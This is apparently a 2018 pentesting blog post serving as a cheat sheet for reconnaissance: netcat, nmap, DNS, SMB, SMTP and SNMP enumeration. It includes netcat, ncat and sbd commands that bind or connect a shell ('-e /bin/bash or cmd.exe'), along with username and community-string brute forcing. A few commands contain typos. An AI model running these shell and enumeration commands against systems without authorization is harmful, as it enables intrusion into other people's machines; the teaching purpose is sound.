

# Information gathering

📅 2018-10-15 👤 Trelis 📁 Pentesting

🏷️ [windows](#) [linux](#) [pentest](#) [information](#) [gathering](#)

A summary of basic commands and information gathering tools.

## General commands

### Locate

Before using locate, you should update de database:

```
updatedb
```

Once de database has been built, we can use locate to find a file of which we know the name. The search will be fast due the database has an index of all the local files.

```
locate FILE.EXE
```

#### Content

- [General commands](#)
  - [Locate](#)
  - [Which](#)
  - [Find](#)
  - [Netstat](#)
  - [Systemctl](#)
- [Essential Tools](#)
  - [Netcat](#)
  - [Ncat](#)
  - [sbd](#)
  - [Wireshark](#)
  - [Tcpdump](#)
- [Passive Information Gathering](#)
  - [Google Hacking](#)
  - [Email Harvesting](#)
  - [Netcraft](#)
  - [Whois](#)
  - [Recon-ng](#)

## Which

This command searches for a given name through all the folders that are defined in the environment variable \$PATH:

```
which FILE
```

## Find

Find is able to recursively search any given path for various files. It is more aggressive than locate and which:

```
find / -name FILE
```

For example, if we want to find all files named test:

```
find / -name test*
```

## Netstat

It shows all the services running and listening on a port:

```
netstat -antp | grep SERVICE
```

- Active Information Gathering
  - DNS Enumeration

# Systemctl

---

In order to start or stop a service, we can use the command systemctl:

```
systemctl start SERVICE
systemctl stop SERVICE
```

If we want to have the service starting automatically at boot time, we can use the options enable or disable:

```
systemctl enable SERVICE
systemctl disable SERVICE
```

## Essential Tools

### Netcat

---

Connect

```
nc -nv IP PORT [-e /bin/bash or cmd.exe]
```

Listen

```
nc -nlvp PORT [-e /bin/bash or cmd.exe]
```

\* -e redirects the input, output and error messages to the PORT rather than the

default console. So it binds the shell to a local port. Anyone who connects to the port will find a command prompt.

Transfer file

```
nc -nv IP PORT < FILE.TXT
```

Receive file

```
nv -nlvp PORT > FILE.TXT
```

## Ncat

---

It is a reimplementaion of Netcat. It is the same but allows to create encrypted communications:

Connect

```
ncat -v IP PORT -ssl
```

Listen

```
ncat --exec cmd.exe --allow IP -vnl PORT --ssl
```

## sbd

---

sbd is a Netcat-clone, designed to be portable and offer strong encryption:

Connect

```
sbd IP PORT
```

Listen

```
sbd -l -p PORT -e [bash/cmd.exe] -v -n
```

## Wireshark

---

Some Wireshark capture filters:

IP Address

```
ip.addr == 192.168.0.5
```

```
!(ip.addr == 192.168.0.0/24)
```

Protocol

```
tcp
```

```
udp
```

```
tcp.port == 80 || udp.port == 80
```

```
http
```

```
not arp and not (udp.port == 53)
```

For molt filters: <https://wiki.wireshark.org/CaptureFilters>

# Tcpdump

Some tcpdump flags:

Listen to an interface

```
tcpdump -i INTERFACE
```

Filter traffic by IP

```
tcpdump host IP
```

Filter traffic by source and destination

```
tcpdump src IP1 dst IP2
```

Filter traffic by port

```
tcpdump port PORT
```

```
tcpdump src port PORT
```

Filter traffic by protocol

```
tcpdump tcp
```

Save output

```
tcpdump -w output.pcap
```

Read pcap

```
tcpdump -r input.pcap
```

For more information: <https://danielmiessler.com/study/tcpdump/>

# Passive Information Gathering

## Google Hacking

---

- [SANS CheatSheet](#)
- [AlienVaultt CheatSheet](#)
- [Using Google as a Security Testing Tool - Johnny Long](#)
- [Google Hacking Database \(GHDB\)](#)

## Email Harvesting

---

Email harvesting is the process of obtaining a large number of email addresses through various methods. The purpose of harvesting email addresses is for revealing the naming convention used in the organization or mapping out users.

One tool that can perform this task is theharvester:

```
thearvester -d DOMAIN_TO_SEARCH -b DATA_SOURCE
```

For example: Search from email addresses from a domain (-d kali.org), limiting

```
the results to 500 (-l 500), using Google (-b google):  
theharvester -d kali.org -l 500 -b google
```

For more information: <https://tools.kali.org/information-gathering/theharvester>

## Netcraft

---

Netcraft is a monitoring company. It can be used to find out servers information:

- [Netcraft website](#)

## Whois

---

WHOIS is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information.

```
whois HOST/IP
```

## Recon-ng

---



Recon-ng is a reconnaissance tool with an interface similar to Metasploit. Running recon-ng from the command line you enter a shell like environment where you can configure options, perform recon and output results to different report types.

Basic commands:

- **show** available modules.
- **search** available modules.
- **info** information on how the module works.
- **show options** options that can be set.
- **set** sets the options.
- **run** to execute.

What can we do:

- Harvest contacts (whois, jigsaw, linkedin, twitter)(use the mangle module to extract and present e-mail data)
- Identify hosts
- Identify geographical locations of hosts and individuals using hostop, ipinfodb, maxmind, uniapple, wogle
- Identify host information using netcraft and related modules
- Identify account and password information that has previously been compromised and leaked onto the Internet (the pwnedlist modules, wascompanyhacked, xssed, and punkspider)

More information:

- [The Recon-ng Framework : Automated Information Gathering](#)
- [Basic Updated Guide to Recon-ng plus New Modules Rundown](#)

# Active Information Gathering

## DNS Enumeration

---

More information about DNS enumeration:

- [How to gather dns information](#)

## Basic interaction

You can interact with a DNS using queries. There are lots of types of DNS queries. Here are the main ones:

- Type “**A**” for IPv4 addresses
- Type “**AAAA**” for IPv6 addresses
- Type “**CNAME**” (Canonical Names) – specifies a domain name that has to be queried in order to resolve the original DNS query
- Type “**PTR**” (Pointer) that specified a reverse query (requesting the FQDN – Fully Qualified Domain Name – corresponding to the IP address you provided)
- Type “**NS**” (Name Server) to get information about the authoritative name server

- Type “**SOA**” (Start Of zone Authority): used when transferring zones
- Type “**MX**” (Mail eXchange) to request information about the mail exchange server for a specific DNS domain name

We can use the command host to obtain information about a host:

```
host -t TYPE HOST
```

For more information about the flags of host command:

- [man host](#)

For example, we will use the host test.com:

```
Obtaining DNS
root@kali:~# host -t ns test.com
test.com name server ns1.test.com
test.com name server ns2.test.com

Obtaining mail servers
root@kali:~# host -t mx test.com
test.com mail is handled by 60 mail.test.com
test.com mail is handled by 50 mail2.test.com
```

## Forward Lookup Brute Force

It is possible to enumerate subdomains using host. For example:

Existing subdomain

```
root@kali:~# host www.test.com
www.test.com has address 1.2.3.4
```

Non-existing subdomain

```
root@kali:~# host idontexist.test.com
Host idontexist.test.com not found: 3 (NXDOMAIN)
```

Knowing this we can make a list (subdomains.txt) of possible subdomains and bruteforce them using bash:

```
root@kali:~# for subdomain in $(cat subdomains.txt);do host
$subdomain.test.com;done
www.test.com has address 1.2.3.4
Host idontexist.test.com not found: 3 (NXDOMAIN)
Host proxy.test.com not found: 3 (NXDOMAIN)
ftp.test.com has address 1.2.3.52
mail.test.com has address 1.2.3.15
Host router.test.com not found: 3 (NXDOMAIN)
```

## Reverse Lookup Brute Force

In the last example, the brute force attack revealed some IP. If the DNS administrator of test.com has configured PTR records, we can do a brute force attack using IP instead of

subdomains.

PTR records are mainly used to check if the server name is actually associated with the IP address from where the connection was initiated.

For example, we make a bash script in order to brute force all the IPs in a range:

```
root@kali:~# for ip in $(seq 15 52); do host 1.2.3.$ip;done | grep -v "not  
found"  
  
1.2.3.45.in-addr.arpa domain name pointer mail2.test.com  
1.2.3.45.in-addr.arpa domain name pointer mail3.test.com
```

## DNS Zone Transfers

DNS zone transfer, also sometimes known by the inducing DNS query type AXFR, is a type of DNS transaction. It is one of the many mechanisms available for administrators to replicate DNS databases across a set of DNS servers.

Zone transfers should be limited to authorized slave DNS servers. If the administrator has not correctly configured the DNS server, it could allow an attacker to obtain a copy of all the information that the DNS server has. In other words, it would obtain all the names and IPs of the servers in the corporate network.

```
host -l HOST DNS
```

For example, zone transfer might fail if the server is correctly configured:

```
root@kali:~# host -l test.com ns1.test.com
; Transfer failed.
Using domain server:
Name: ns1.test.com
Address: IP
Aliases:
Host test.com not found: 5(REFUSED)
; Transfer failed.
```

If it is successful, it would provide all the information about the corporate network under “Aliases”.

## DNSRecon

DNSRecon which is a tool that was developed by Carlos Perez and it is designed to perform DNS reconnaissance.

- [Github](#)
- [Kali Tools](#)
- [Tutorial](#)

```
dnsrecon -d HOST -t axfr
```

## DNSenum

Multithreaded perl script to enumerate DNS information of a domain and to discover non-contiguous ip blocks.

- [Githug](#)
- [Kali Tools](#)
- [Tutorial](#)

```
dnsenum HOST
```

## Nmap

---

### Flag sT

```
nmap -sT 192.168.122.136
```

This flag is used by default when Nmap doesn't have privileges, it scans TCP ports. In order to send the probes, it uses a system function called `connect()` which makes the scan to go slower than with the flag `-sS`.

It is recommended to use the sT flag if the scan is running from inside the network. Because although it is slower, it is more secure than the flag sS.

## Flag sS

```
sudo nmap -sS 192.168.122.136
```

This flag is used by default when Nmap have privileges, it scans TCP ports. It is faster than sT flag because it doesn't use system calls and it doesn't end the connections.

**IMPORTANT:** It is recommended using Nmap with this flag only when scanning targets from the Internet. Because of Nmap doesn't close the connections, if you scan targets from internal network, it could collapse some firewalls causing a DoS due to internal firewalls have not the same configurations as the external ones and they are more permissive.

## Flag sU

```
sudo nmap -sU 192.168.122.136
```

This flag is used to scan UDP ports and it can be combined with `sT` and `sS` in order to scan TCP and UDP ports at the same time.

Scanning UDP ports with Nmap can take long because there are no error controls. Nmap keeps sending probes if no answer has been received, until it reach a number of tries:

- Open port: target answers with anything
- Closed port: target answers with an ICMP
- Open/Filtered: if there is no answer Nmap can not determine neither if it is open nor closed



## Flag O

```
sudo nmap -O 192.168.122.136
```

With this flag, Nmap tries to guess which operative system is running in the target. It is important to understand that it is just a **guess**, so don't take it seriously because there are a lot of times where Nmap is wrong.

## Flag sV

```
nmap -sV 192.168.122.136
```

Nmap sends probes to the open ports to determine the version of the service running

## Flag sC

```
nmap -sC 192.168.122.136
```

If you want to obtain more information about the port, you can add this flag.

## Flag A

---

```
nmap -A 192.168.122.136
```

This flag is a combination of `-O`, `-sC` and `-sV`

## Flag p

By default, Nmap scans the most common ports, you can specify which ports do you want scan, for example `HTTP` and `HTTPS`:

```
nmap 192.168.122.136 -p 80,443
```

If you want to scan all the 65535 ports you need to add a `-` at the end:

```
nmap 192.168.122.136 -p-
```

## Flag top-ports

With this flag you can make nmap to scan only the most common ports. For example, `--top-ports 400` will scan the 400 ports most used, not the first 400 (1-400):

```
nmap --top-ports 400 192.168.122.136
```

## Flag F

```
nmap -F 192.168.122.136
```

This flag only scans the top 100 ports.

An strategy I follow during the web auditories is to launch first nmap with the flag `-F` or `-top-ports 25` so I can obtain fast results and start working. After this I decide if it's worth to launch Nmap with the top 1000 ports or scan all of them. It will depends on the time I have. However, some statistics show that sometimes it's not worth to scan all the ports because it's time consuming and you can obtain most of the information scanning only the most common ports:

- Top 100 ports: you will discover the 80% of the ports of the target
- Top 1000 ports: you will discover the 98% of the ports of the target
- Top 65535 ports: you will discover the 100% of the ports of the target

## Timing and Performance

Nmap has 6 different modes (from T0 to T5) of running which will impact the time and performance directly. By default Nmap uses mode T3. However you can change it manually:

```
nmap -T5 192.168.122.136
```

If you are not scanning an old network or an SCADA environment, it's not recommended using modes T0, T1 and T2 because they are too slow. Usually pentesters use modes T3

and T4 to scan the targets. The insane mode is only recommended to use if you know for sure that it will not saturate the target network.

## Nmap Scripts

Nmap allows the user to launch scripts to specific ports. In the folder

`/usr/share/nmap/scripts` you can find scripts NSE which you can use with the flag `--scripts`:

```
nmap --script script_name.nse 192.168.122.136
```

## SMB

The Server Message Block (SMB) Protocol is a network file sharing protocol, and as implemented in Microsoft Windows is known as Microsoft SMB Protocol.

- **SMB1**: Windows 2000, XP and Windows 2003
- **SMB2**: Windows Vista SP1 and Windows 2008
- **SMB2.1**: Windows 7 and Windows 2008 R2
- **SMB3**: Windows 8 and Windows 2012

The SMB protocol listens on the following ports:

- **137/UDP**: Netbios nbname

- **138/UDP**: Netbios nbdatagram
- **139/TCP**: Netbios nbssession
- **445/TCP/UDP**: SMB

## NBTScan

NBTScan is a program for scanning IP networks for NetBIOS name information (similar to what the Windows nbtstat tool provides against single hosts).

```
nbtscan -v IP
```

- [Kali tools](#)
- [CheatSheet](#)
- [Github](#)

## enum4linux

Enum4linux is a tool for enumerating information from Windows and Samba systems.

```
enum4linux -a IP
```

- [Kali tools](#)
- [Github](#)
- [CheatSheet](#)

# Nmap SMB NSE Scripts

List all smb scripts:

```
ls -l /usr/share/nmap/scripts/smb*
```

Discovery:

```
nmap -v -p 139,445 --script=smb-os-discovery IP
```

## SMTP Enumeration

SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

Common SMTP ports:

- **SMTP:** port 25 or 2525 or 587
- **Secure SMTP (SSL / TLS):** port 465 or 25 or 587, 2526 (Elastic Email)

Automate bounce handling (Premium users):

- **POP3:** port 110
- **IMAP:** port 143

- **IMAP SSL (IMAPS):** port 993

## smtp-user-enum

smtp-user-enum is a tool for enumerating OS-level user accounts on Solaris via the SMTP service (sendmail). Enumeration is performed by inspecting the responses to VRFY, EXPN and RCPT TO commands.

- [Script](#)

**SMTP VRFY Command** The output below shows how the SMTP server responds differently to VRFY requests for valid and invalid users.

```
$ telnet IP 25
Trying IP...
Connected to IP.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [IP2], pleased to meet you
VRFY root
250 Super-User <root@myhost>
VRFY blah
550 blah... User unknown
```

Using the tool to brute forcing usernames:

```
smtp-user-enum.pl -M VRFY -U users.txt -t IP
```

**SMTP EXPN Command** The output below shows how the SMTP server responds differently to EXPN requests for valid and invalid users.

```
$ telnet IP 25
Trying IP...
Connected to IP.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [IP2], pleased to meet you
EXPN root
250 Super-User <root@myhost>
EXPN blah
550 blah... User unknown
```

Using the tool to brute forcing usernames:

```
smtp-user-enum.pl -M EXPN -U users.txt -t IP
```

**RCPT TO Command** The output below shows how the SMTP server responds differently to RCPT TO requests for valid and invalid users. This is often to the most useful technique as VRFY and EXPN are often disabled to prevent username enumeration.



```
$ telnet IP 25
Trying IP...
Connected to IP.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [IP2], pleased to meet you
MAIL FROM:root
250 root... Sender ok
RCPT TO:root
250 root... Recipient ok
RCPT TO: blah
550 blah... User unknown
```

Using the tool to brute forcing usernames:

```
smtp-user-enum.pl -M RCPT -U users.txt -t IP
```

## MIB values

MIB stands for Management Information Base and is a collection of definitions that define the properties of the managed object within the device to be managed. MIB files are written

in an independent format and the object information they contain is organized hierarchically. The various pieces of information can be accessed by SNMP.

OIDs or Object Identifiers uniquely identify managed objects in the MIB.

The MIB is organized hierarchically and can be depicted as a tree with different levels from the root to the single leaves. Each OID has an address that follows the levels of the OID tree.

Generally, an OID is a long sequence of numbers, coding the nodes, separated by dots. Here is a sample structure of an OID:

```
Iso(1).org(3).dod(6).internet(1).private(4).transition(868).products(2).chassis  
(4).card(1).slotCps(2).-  
cpsSlotSummary(1).cpsModuleTable(1).cpsModuleEntry(1).cpsModuleModel(3).3562.3
```

For example:

```
1.3.6.1.4.868.2.4.1.2.1.1.1.3.3562.3
```

The nodes of the OID tree can be assigned by different organizations. Root level MIB object IDs (OIDs) belong to different standard organizations. Vendors define private branches including managed objects for their own products. All manageable features of all products (from each vendor) are arranged in this MIB tree structure.

OIDs are generally provided by the hardware vendors or can be found in so-called OID repositories, where you can find collections of MIB branches and the corresponding OIDs or MIB files.

- **System Processes:** 1.3.6.1.2.1.25.1.6.0
- **Running Programs:** 1.3.6.1.2.1.25.4.2.1.2

- **Process Path:** 1.3.6.1.2.1.25.4.2.1.4
- **Storage Units:** 1.3.6.1.2.1.25.2.3.1.4
- **Software Name:** 1.3.6.1.2.1.25.6.3.1.2
- **User Accounts:** 1.3.6.1.4.1.77.1.2.25
- **TCP Local Ports:** 1.3.6.1.2.1.6.13.1.3

## onesixtyone

onesixtyone is an SNMP scanner, which tries to find the community strings with brute force method. It sends requests as fast as it can, by default every 10ms.

- [Github](#)
- [man](#)

### Bruteforce

```
onesixtyone -c dict.txt IP
```

## nsmpwalk

SnmpWalk allows you to detect a set of variables that are available for reading on a certain device. You can obtain a full list or just part. By analyzing the results of a network device scan obtained with SnmpWalk you can develop a list of supported MIBs and, in this way, obtain full descriptions of variables and possible values.

- [Github](#)

Enumerating the Entire MIB Tree:

```
nsmpwalk -c public -v1 IP
```

Enumerating Windows MIB:

```
snmpwalk -c public -v1 IP MIB_number
```

## snmp-check

Like to snmpwalk, snmp-check allows you to enumerate the SNMP devices and places the output in a very human readable friendly format. It could be useful for penetration testing or systems monitoring. Distributed under GPL license and based on “Athena-2k” script by jshaw.

- [Kali tools](#)
- [Github](#)

For example:



```
snmp-check IP -c public
```

## Similar Posts

- [Frida iOS](#)
- [iOS Pentesting - Reversing Jailbreak](#)
- [Windows - WPAD poisoning using Responder](#)
- [Windows - LLMNR and NBT-NS poisoning using Responder](#)
- [iOS Pentesting - Introduction](#)
- [iOS Pentesting - Static analysis](#)

**Previous post** [Windows - WPAD poisoning using Responder](#)

**Next post** [Basic Buffer Overflow](#)

Contact me at:  

This site has been visited: times, Number of visitors: , This post has been viewed times

Site powered by Jekyll & Github Pages. Theme designed by HyG.